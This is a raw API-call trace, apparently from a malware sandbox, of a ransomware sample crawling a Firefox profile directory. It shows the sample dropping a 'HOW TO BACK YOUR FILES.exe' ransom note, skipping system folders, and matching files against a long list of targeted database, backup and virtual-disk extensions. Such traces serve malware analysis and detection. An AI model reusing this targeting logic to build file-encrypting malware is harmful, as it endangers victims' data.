	[0045.209] lstrcmpiW (lpString1="silmbjec.default", lpString2=".") returned 1
	[0045.209] lstrcmpiW (lpString1="silmbjec.default", lpString2="..") returned 1
	[0045.209] lstrcmpiW (lpString1="silmbjec.default", lpString2="windows") returned -1
	[0045.209] lstrcmpiW (lpString1="silmbjec.default", lpString2="bootmgr") returned 1
	[0045.210] lstrcmpiW (lpString1="silmbjec.default", lpString2="temp") returned -1
	[0045.210] lstrcmpiW (lpString1="silmbjec.default", lpString2="pagefile.sys") returned 1
	[0045.210] lstrcmpiW (lpString1="silmbjec.default", lpString2="boot") returned 1
	[0045.210] lstrcmpiW (lpString1="silmbjec.default", lpString2="ids.txt") returned 1
	[0045.210] lstrcmpiW (lpString1="silmbjec.default", lpString2="ntuser.dat") returned 1
	[0045.210] lstrcmpiW (lpString1="silmbjec.default", lpString2="perflogs") returned 1
	[0045.210] lstrcmpiW (lpString1="silmbjec.default", lpString2="MSBuild") returned 1
	[0045.210] lstrlenW (lpString="silmbjec.default") returned 16
	[0045.210] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\*") returned 70
	[0045.210] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="silmbjec.default" | out: lpString1="silmbjec.default") returned="silmbjec.default"
	[0045.210] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7be8
	[0045.210] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xac) returned 0x599d28
	[0045.210] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7bf0 | out: ListHead=0x5b76b0, ListEntry=0x5b7bf0) returned 0x5b7ad0
	[0045.210] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x826e2030, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x826e2030, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="silmbjec.default", cAlternateFileName="SILMBJ~1.DEF")) returned 0
	[0045.210] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0045.210] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7bf0
	[0045.210] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default"
	[0045.210] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599d28 | out: hHeap=0x580000) returned 1
	[0045.210] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7be8 | out: hHeap=0x580000) returned 1
	[0045.210] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default") returned 85
	[0045.210] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default"
	[0045.210] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0045.210] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0045.221] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0045.221] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x330644b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x330644b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0045.221] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.221] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0045.221] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0045.221] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x330644b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x330644b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0045.221] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.221] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0045.221] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0045.221] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0045.221] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 1
	[0045.221] lstrcmpiW (lpString1="Cache", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.221] lstrcmpiW (lpString1="Cache", lpString2="Apollon865.txt.exe") returned 1
	[0045.221] lstrcmpiW (lpString1="Cache", lpString2=".") returned 1
	[0045.221] lstrcmpiW (lpString1="Cache", lpString2="..") returned 1
	[0045.221] lstrcmpiW (lpString1="Cache", lpString2="windows") returned -1
	[0045.221] lstrcmpiW (lpString1="Cache", lpString2="bootmgr") returned 1
	[0045.221] lstrcmpiW (lpString1="Cache", lpString2="temp") returned -1
	[0045.221] lstrcmpiW (lpString1="Cache", lpString2="pagefile.sys") returned -1
	[0045.221] lstrcmpiW (lpString1="Cache", lpString2="boot") returned 1
	[0045.222] lstrcmpiW (lpString1="Cache", lpString2="ids.txt") returned -1
	[0045.222] lstrcmpiW (lpString1="Cache", lpString2="ntuser.dat") returned -1
	[0045.222] lstrcmpiW (lpString1="Cache", lpString2="perflogs") returned -1
	[0045.222] lstrcmpiW (lpString1="Cache", lpString2="MSBuild") returned -1
	[0045.222] lstrlenW (lpString="Cache") returned 5
	[0045.222] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\*") returned 87
	[0045.222] lstrcpyW (in: lpString1=0x2d3e5fc, lpString2="Cache" | out: lpString1="Cache") returned="Cache"
	[0045.222] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7be8
	[0045.222] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xb8) returned 0x5c1458
	[0045.222] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7bf0 | out: ListHead=0x5b76b0, ListEntry=0x5b7bf0) returned 0x5b7ad0
	[0045.222] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x330644b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x330644b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0045.222] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0045.222] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xbece2650, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xbecfd400, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xbecfd400, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OfflineCache", cAlternateFileName="OFFLIN~1")) returned 1
	[0045.222] lstrcmpiW (lpString1="OfflineCache", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0045.222] lstrcmpiW (lpString1="OfflineCache", lpString2="Apollon865.txt.exe") returned 1
	[0045.222] lstrcmpiW (lpString1="OfflineCache", lpString2=".") returned 1
	[0045.222] lstrcmpiW (lpString1="OfflineCache", lpString2="..") returned 1
	[0045.222] lstrcmpiW (lpString1="OfflineCache", lpString2="windows") returned -1
	[0045.222] lstrcmpiW (lpString1="OfflineCache", lpString2="bootmgr") returned 1
	[0045.222] lstrcmpiW (lpString1="OfflineCache", lpString2="temp") returned -1
	[0045.222] lstrcmpiW (lpString1="OfflineCache", lpString2="pagefile.sys") returned -1
	[0045.222] lstrcmpiW (lpString1="OfflineCache", lpString2="boot") returned 1
	[0045.222] lstrcmpiW (lpString1="OfflineCache", lpString2="ids.txt") returned 1
	[0045.222] lstrcmpiW (lpString1="OfflineCache", lpString2="ntuser.dat") returned 1
	[0045.222] lstrcmpiW (lpString1="OfflineCache", lpString2="perflogs") returned -1
	[0045.222] lstrcmpiW (lpString1="OfflineCache", lpString2="MSBuild") returned 1
	[0045.222] lstrlenW (lpString="OfflineCache") returned 12
	[0045.222] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache") returned 91
	[0045.222] lstrcpyW (in: lpString1=0x2d3e5fc, lpString2="OfflineCache" | out: lpString1="OfflineCache") returned="OfflineCache"
	[0045.222] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c48
	[0045.222] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xc6) returned 0x599d28
	[0045.222] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c50 | out: ListHead=0x5b76b0, ListEntry=0x5b7c50) returned 0x5b7bf0
	[0045.222] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8234ff30, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x826bbed0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x826bbed0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="safebrowsing", cAlternateFileName="SAFEBR~2")) returned 1
	[0045.222] lstrcmpiW (lpString1="safebrowsing", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0045.223] lstrcmpiW (lpString1="safebrowsing", lpString2="Apollon865.txt.exe") returned 1
	[0045.223] lstrcmpiW (lpString1="safebrowsing", lpString2=".") returned 1
	[0045.223] lstrcmpiW (lpString1="safebrowsing", lpString2="..") returned 1
	[0045.223] lstrcmpiW (lpString1="safebrowsing", lpString2="windows") returned -1
	[0045.223] lstrcmpiW (lpString1="safebrowsing", lpString2="bootmgr") returned 1
	[0045.223] lstrcmpiW (lpString1="safebrowsing", lpString2="temp") returned -1
	[0045.223] lstrcmpiW (lpString1="safebrowsing", lpString2="pagefile.sys") returned 1
	[0045.223] lstrcmpiW (lpString1="safebrowsing", lpString2="boot") returned 1
	[0045.223] lstrcmpiW (lpString1="safebrowsing", lpString2="ids.txt") returned 1
	[0045.223] lstrcmpiW (lpString1="safebrowsing", lpString2="ntuser.dat") returned 1
	[0045.223] lstrcmpiW (lpString1="safebrowsing", lpString2="perflogs") returned 1
	[0045.223] lstrcmpiW (lpString1="safebrowsing", lpString2="MSBuild") returned 1
	[0045.223] lstrlenW (lpString="safebrowsing") returned 12
	[0045.223] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\OfflineCache") returned 98
	[0045.223] lstrcpyW (in: lpString1=0x2d3e5fc, lpString2="safebrowsing" | out: lpString1="safebrowsing") returned="safebrowsing"
	[0045.223] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ae8
	[0045.223] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xc6) returned 0x599450
	[0045.223] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7af0 | out: ListHead=0x5b76b0, ListEntry=0x5b7af0) returned 0x5b7c50
	[0045.223] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x807f0230, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x854b47b0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x854b47b0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="startupCache", cAlternateFileName="STARTU~1")) returned 1
	[0045.223] lstrcmpiW (lpString1="startupCache", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0045.223] lstrcmpiW (lpString1="startupCache", lpString2="Apollon865.txt.exe") returned 1
	[0045.223] lstrcmpiW (lpString1="startupCache", lpString2=".") returned 1
	[0045.223] lstrcmpiW (lpString1="startupCache", lpString2="..") returned 1
	[0045.223] lstrcmpiW (lpString1="startupCache", lpString2="windows") returned -1
	[0045.223] lstrcmpiW (lpString1="startupCache", lpString2="bootmgr") returned 1
	[0045.223] lstrcmpiW (lpString1="startupCache", lpString2="temp") returned -1
	[0045.223] lstrcmpiW (lpString1="startupCache", lpString2="pagefile.sys") returned 1
	[0045.223] lstrcmpiW (lpString1="startupCache", lpString2="boot") returned 1
	[0045.223] lstrcmpiW (lpString1="startupCache", lpString2="ids.txt") returned 1
	[0045.223] lstrcmpiW (lpString1="startupCache", lpString2="ntuser.dat") returned 1
	[0045.223] lstrcmpiW (lpString1="startupCache", lpString2="perflogs") returned 1
	[0045.223] lstrcmpiW (lpString1="startupCache", lpString2="MSBuild") returned 1
	[0045.223] lstrlenW (lpString="startupCache") returned 12
	[0045.223] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing") returned 98
	[0045.224] lstrcpyW (in: lpString1=0x2d3e5fc, lpString2="startupCache" | out: lpString1="startupCache") returned="startupCache"
	[0045.224] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b08
	[0045.224] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xc6) returned 0x599520
	[0045.224] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b10 | out: ListHead=0x5b76b0, ListEntry=0x5b7b10) returned 0x5b7af0
	[0045.224] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb653ec30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x83ce6bb0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x83ce6bb0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="thumbnails", cAlternateFileName="THUMBN~1")) returned 1
	[0045.224] lstrcmpiW (lpString1="thumbnails", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0045.224] lstrcmpiW (lpString1="thumbnails", lpString2="Apollon865.txt.exe") returned 1
	[0045.224] lstrcmpiW (lpString1="thumbnails", lpString2=".") returned 1
	[0045.224] lstrcmpiW (lpString1="thumbnails", lpString2="..") returned 1
	[0045.224] lstrcmpiW (lpString1="thumbnails", lpString2="windows") returned -1
	[0045.224] lstrcmpiW (lpString1="thumbnails", lpString2="bootmgr") returned 1
	[0045.224] lstrcmpiW (lpString1="thumbnails", lpString2="temp") returned 1
	[0045.224] lstrcmpiW (lpString1="thumbnails", lpString2="pagefile.sys") returned 1
	[0045.224] lstrcmpiW (lpString1="thumbnails", lpString2="boot") returned 1
	[0045.224] lstrcmpiW (lpString1="thumbnails", lpString2="ids.txt") returned 1
	[0045.224] lstrcmpiW (lpString1="thumbnails", lpString2="ntuser.dat") returned 1
	[0045.224] lstrcmpiW (lpString1="thumbnails", lpString2="perflogs") returned 1
	[0045.224] lstrcmpiW (lpString1="thumbnails", lpString2="MSBuild") returned 1
	[0045.224] lstrlenW (lpString="thumbnails") returned 10
	[0045.224] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\startupCache") returned 98
	[0045.224] lstrcpyW (in: lpString1=0x2d3e5fc, lpString2="thumbnails" | out: lpString1="thumbnails") returned="thumbnails"
	[0045.224] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c08
	[0045.224] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xc2) returned 0x599f60
	[0045.224] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c10 | out: ListHead=0x5b76b0, ListEntry=0x5b7c10) returned 0x5b7b10
	[0045.224] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb64f2970, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x853a9e10, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_CACHE_CLEAN_", cAlternateFileName="_CACHE~1")) returned 1
	[0045.224] lstrcmpiW (lpString1="_CACHE_CLEAN_", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.224] lstrcmpiW (lpString1="_CACHE_CLEAN_", lpString2="Apollon865.txt.exe") returned -1
	[0045.224] lstrcmpiW (lpString1="_CACHE_CLEAN_", lpString2=".") returned 1
	[0045.224] lstrcmpiW (lpString1="_CACHE_CLEAN_", lpString2="..") returned 1
	[0045.224] lstrcmpiW (lpString1="_CACHE_CLEAN_", lpString2="windows") returned -1
	[0045.224] lstrcmpiW (lpString1="_CACHE_CLEAN_", lpString2="bootmgr") returned -1
	[0045.224] lstrcmpiW (lpString1="_CACHE_CLEAN_", lpString2="temp") returned -1
	[0045.224] lstrcmpiW (lpString1="_CACHE_CLEAN_", lpString2="pagefile.sys") returned -1
	[0045.225] lstrcmpiW (lpString1="_CACHE_CLEAN_", lpString2="boot") returned -1
	[0045.225] lstrcmpiW (lpString1="_CACHE_CLEAN_", lpString2="ids.txt") returned -1
	[0045.225] lstrcmpiW (lpString1="_CACHE_CLEAN_", lpString2="ntuser.dat") returned -1
	[0045.225] lstrcmpiW (lpString1="_CACHE_CLEAN_", lpString2="perflogs") returned -1
	[0045.225] lstrcmpiW (lpString1="_CACHE_CLEAN_", lpString2="MSBuild") returned -1
	[0045.225] lstrlenW (lpString="_CACHE_CLEAN_") returned 13
	[0045.225] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails") returned 96
	[0045.225] lstrcpyW (in: lpString1=0x2d3e5fc, lpString2="_CACHE_CLEAN_" | out: lpString1="_CACHE_CLEAN_") returned="_CACHE_CLEAN_"
	[0045.225] lstrlenW (lpString="_CACHE_CLEAN_") returned 13
	[0045.225] lstrlenW (lpString="Apollon865") returned 10
	[0045.225] lstrcmpiW (lpString1="CHE_CLEAN_", lpString2="Apollon865") returned 1
	[0045.225] lstrlenW (lpString=".dll") returned 4
	[0045.225] lstrcmpiW (lpString1="_CACHE_CLEAN_", lpString2=".dll") returned 1
	[0045.225] lstrlenW (lpString=".lnk") returned 4
	[0045.225] lstrcmpiW (lpString1="_CACHE_CLEAN_", lpString2=".lnk") returned 1
	[0045.225] lstrlenW (lpString=".ini") returned 4
	[0045.225] lstrcmpiW (lpString1="_CACHE_CLEAN_", lpString2=".ini") returned 1
	[0045.225] lstrlenW (lpString=".sys") returned 4
	[0045.225] lstrcmpiW (lpString1="_CACHE_CLEAN_", lpString2=".sys") returned 1
	[0045.225] lstrlenW (lpString="_CACHE_CLEAN_") returned 13
	[0045.225] lstrlenW (lpString="bak") returned 3
	[0045.225] lstrcmpiW (lpString1="AN_", lpString2="bak") returned -1
	[0045.225] lstrlenW (lpString="ba_") returned 3
	[0045.225] lstrcmpiW (lpString1="AN_", lpString2="ba_") returned -1
	[0045.225] lstrlenW (lpString="dbb") returned 3
	[0045.225] lstrcmpiW (lpString1="AN_", lpString2="dbb") returned -1
	[0045.225] lstrlenW (lpString="vmdk") returned 4
	[0045.225] lstrcmpiW (lpString1="EAN_", lpString2="vmdk") returned -1
	[0045.225] lstrlenW (lpString="rar") returned 3
	[0045.225] lstrcmpiW (lpString1="AN_", lpString2="rar") returned -1
	[0045.225] lstrlenW (lpString="zip") returned 3
	[0045.225] lstrcmpiW (lpString1="AN_", lpString2="zip") returned -1
	[0045.225] lstrlenW (lpString="tgz") returned 3
	[0045.225] lstrcmpiW (lpString1="AN_", lpString2="tgz") returned -1
	[0045.226] lstrlenW (lpString="vbox") returned 4
	[0045.226] lstrcmpiW (lpString1="EAN_", lpString2="vbox") returned -1
	[0045.226] lstrlenW (lpString="vdi") returned 3
	[0045.226] lstrcmpiW (lpString1="AN_", lpString2="vdi") returned -1
	[0045.226] lstrlenW (lpString="vhd") returned 3
	[0045.226] lstrcmpiW (lpString1="AN_", lpString2="vhd") returned -1
	[0045.226] lstrlenW (lpString="vhdx") returned 4
	[0045.226] lstrcmpiW (lpString1="EAN_", lpString2="vhdx") returned -1
	[0045.226] lstrlenW (lpString="avhd") returned 4
	[0045.226] lstrcmpiW (lpString1="EAN_", lpString2="avhd") returned 1
	[0045.226] lstrlenW (lpString="db") returned 2
	[0045.226] lstrcmpiW (lpString1="N_", lpString2="db") returned 1
	[0045.226] lstrlenW (lpString="db2") returned 3
	[0045.226] lstrcmpiW (lpString1="AN_", lpString2="db2") returned -1
	[0045.226] lstrlenW (lpString="db3") returned 3
	[0045.226] lstrcmpiW (lpString1="AN_", lpString2="db3") returned -1
	[0045.226] lstrlenW (lpString="dbf") returned 3
	[0045.226] lstrcmpiW (lpString1="AN_", lpString2="dbf") returned -1
	[0045.226] lstrlenW (lpString="mdf") returned 3
	[0045.226] lstrcmpiW (lpString1="AN_", lpString2="mdf") returned -1
	[0045.226] lstrlenW (lpString="mdb") returned 3
	[0045.226] lstrcmpiW (lpString1="AN_", lpString2="mdb") returned -1
	[0045.226] lstrlenW (lpString="sql") returned 3
	[0045.226] lstrcmpiW (lpString1="AN_", lpString2="sql") returned -1
	[0045.226] lstrlenW (lpString="sqlite") returned 6
	[0045.226] lstrcmpiW (lpString1="CLEAN_", lpString2="sqlite") returned -1
	[0045.226] lstrlenW (lpString="sqlite3") returned 7
	[0045.226] lstrcmpiW (lpString1="_CLEAN_", lpString2="sqlite3") returned -1
	[0045.226] lstrlenW (lpString="sqlitedb") returned 8
	[0045.226] lstrcmpiW (lpString1="E_CLEAN_", lpString2="sqlitedb") returned -1
	[0045.226] lstrlenW (lpString="xml") returned 3
	[0045.226] lstrcmpiW (lpString1="AN_", lpString2="xml") returned -1
	[0045.226] lstrlenW (lpString="$er") returned 3
	[0045.226] lstrcmpiW (lpString1="AN_", lpString2="$er") returned 1
	[0045.226] lstrlenW (lpString="4dd") returned 3
	[0045.227] lstrcmpiW (lpString1="AN_", lpString2="4dd") returned 1
	[0045.227] lstrlenW (lpString="4dl") returned 3
	[0045.227] lstrcmpiW (lpString1="AN_", lpString2="4dl") returned 1
	[0045.227] lstrlenW (lpString="^^^") returned 3
	[0045.227] lstrcmpiW (lpString1="AN_", lpString2="^^^") returned 1
	[0045.227] lstrlenW (lpString="abs") returned 3
	[0045.227] lstrcmpiW (lpString1="AN_", lpString2="abs") returned 1
	[0045.227] lstrlenW (lpString="abx") returned 3
	[0045.227] lstrcmpiW (lpString1="AN_", lpString2="abx") returned 1
	[0045.227] lstrlenW (lpString="accdb") returned 5
	[0045.227] lstrcmpiW (lpString1="LEAN_", lpString2="accdb") returned 1
	[0045.227] lstrlenW (lpString="accdc") returned 5
	[0045.227] lstrcmpiW (lpString1="LEAN_", lpString2="accdc") returned 1
	[0045.227] lstrlenW (lpString="accde") returned 5
	[0045.227] lstrcmpiW (lpString1="LEAN_", lpString2="accde") returned 1
	[0045.227] lstrlenW (lpString="accdr") returned 5
	[0045.227] lstrcmpiW (lpString1="LEAN_", lpString2="accdr") returned 1
	[0045.227] lstrlenW (lpString="accdt") returned 5
	[0045.227] lstrcmpiW (lpString1="LEAN_", lpString2="accdt") returned 1
	[0045.227] lstrlenW (lpString="accdw") returned 5
	[0045.227] lstrcmpiW (lpString1="LEAN_", lpString2="accdw") returned 1
	[0045.227] lstrlenW (lpString="accft") returned 5
	[0045.227] lstrcmpiW (lpString1="LEAN_", lpString2="accft") returned 1
	[0045.227] lstrlenW (lpString="adb") returned 3
	[0045.227] lstrcmpiW (lpString1="AN_", lpString2="adb") returned 1
	[0045.227] lstrlenW (lpString="adb") returned 3
	[0045.227] lstrcmpiW (lpString1="AN_", lpString2="adb") returned 1
	[0045.227] lstrlenW (lpString="ade") returned 3
	[0045.227] lstrcmpiW (lpString1="AN_", lpString2="ade") returned 1
	[0045.227] lstrlenW (lpString="adf") returned 3
	[0045.227] lstrcmpiW (lpString1="AN_", lpString2="adf") returned 1
	[0045.227] lstrlenW (lpString="adn") returned 3
	[0045.227] lstrcmpiW (lpString1="AN_", lpString2="adn") returned 1
	[0045.227] lstrlenW (lpString="adp") returned 3
	[0045.227] lstrcmpiW (lpString1="AN_", lpString2="adp") returned 1
	[0045.228] lstrlenW (lpString="alf") returned 3
	[0045.228] lstrcmpiW (lpString1="AN_", lpString2="alf") returned 1
	[0045.228] lstrlenW (lpString="ask") returned 3
	[0045.228] lstrcmpiW (lpString1="AN_", lpString2="ask") returned -1
	[0045.228] lstrlenW (lpString="btr") returned 3
	[0045.228] lstrcmpiW (lpString1="AN_", lpString2="btr") returned -1
	[0045.228] lstrlenW (lpString="cat") returned 3
	[0045.228] lstrcmpiW (lpString1="AN_", lpString2="cat") returned -1
	[0045.228] lstrlenW (lpString="cdb") returned 3
	[0045.228] lstrcmpiW (lpString1="AN_", lpString2="cdb") returned -1
	[0045.228] lstrlenW (lpString="ckp") returned 3
